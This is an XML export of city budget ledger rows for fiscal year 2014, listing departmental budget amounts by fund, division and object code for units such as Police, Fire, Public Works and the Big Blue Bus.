<row _id="4723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4182.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4182.0</total></row>
<row _id="4724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29375.0</total></row>
<row _id="4725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401660.0</object><object_description>WASTEWATER CAPITAL FAC FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="4726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401990.0</object><object_description>SADDLE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-39000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-39000.0</total></row>
<row _id="4727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>405500.0</object><object_description>STORMWATER MGMT USER FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1240000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1240000.0</total></row>
<row _id="4728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17083.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17083.0</total></row>
<row _id="4729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16652.0</total></row>
<row _id="4730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6300.0</total></row>
<row _id="4731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511040.0</object><object_description>COUNCIL/BOARD ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>108678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>108678.0</total></row>
<row _id="4732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>147115.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>147115.0</total></row>
<row _id="4733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="4734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="4735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>256.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>256.0</total></row>
<row _id="4736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>64936.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>64936.0</total></row>
<row _id="4737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>167.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>167.0</total></row>
<row _id="4738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9653020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9653020.0</total></row>
<row _id="4739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88740.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88740.0</total></row>
<row _id="4740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26576.0</total></row>
<row _id="4741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="4742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>566240.0</object><object_description>PARKING METER ENFORCEMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>32075.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32075.0</total></row>
<row _id="4743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="4745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>718.0</total></row>
<row _id="4746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544030.0</object><object_description>BADGE / AWARD / NAME PLATES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="4747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2563.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2563.0</total></row>
<row _id="4748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>69991.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>69991.0</total></row>
<row _id="4749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1807609.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1807609.0</total></row>
<row _id="4750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42202.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42202.0</total></row>
<row _id="4751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="4752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3448554.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3448554.0</total></row>
<row _id="4753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="4754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="4755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>314.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="4756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17207.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17207.0</total></row>
<row _id="4757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25800.0</total></row>
<row _id="4758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6430.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6430.0</total></row>
<row _id="4759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>79326.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79326.0</total></row>
<row _id="4760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="4761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>77</fund_id><fund_name>Parking Authority Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>610</division_id><division_name>PARKING AUTHORITY</division_name><object>404230.0</object><object_description>P/A BD FUND INT-DEP/INVEST</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-27000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27000.0</total></row>
<row _id="4762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400890.0</object><object_description>CITY OF LA  - SEWER REPAIR</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-398112.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-398112.0</total></row>
<row _id="4763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401650.0</object><object_description>SEWER SERVICE CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-18779223.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-18779223.0</total></row>
<row _id="4764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>95496.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>95496.0</total></row>
<row _id="4765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>412.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>412.0</total></row>
<row _id="4766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533500.0</object><object_description>CONF / MTGS / TRAVEL-RH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2975.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2975.0</total></row>
<row _id="4767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>163</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>763.0</total></row>
<row _id="4768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533570.0</object><object_description>CONF / MTGS / TRAVEL-TOD</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7140.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7140.0</total></row>
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<row _id="4795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="4796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522625.0</object><object_description>OTHER OPERATING RENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1796.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1796.0</total></row>
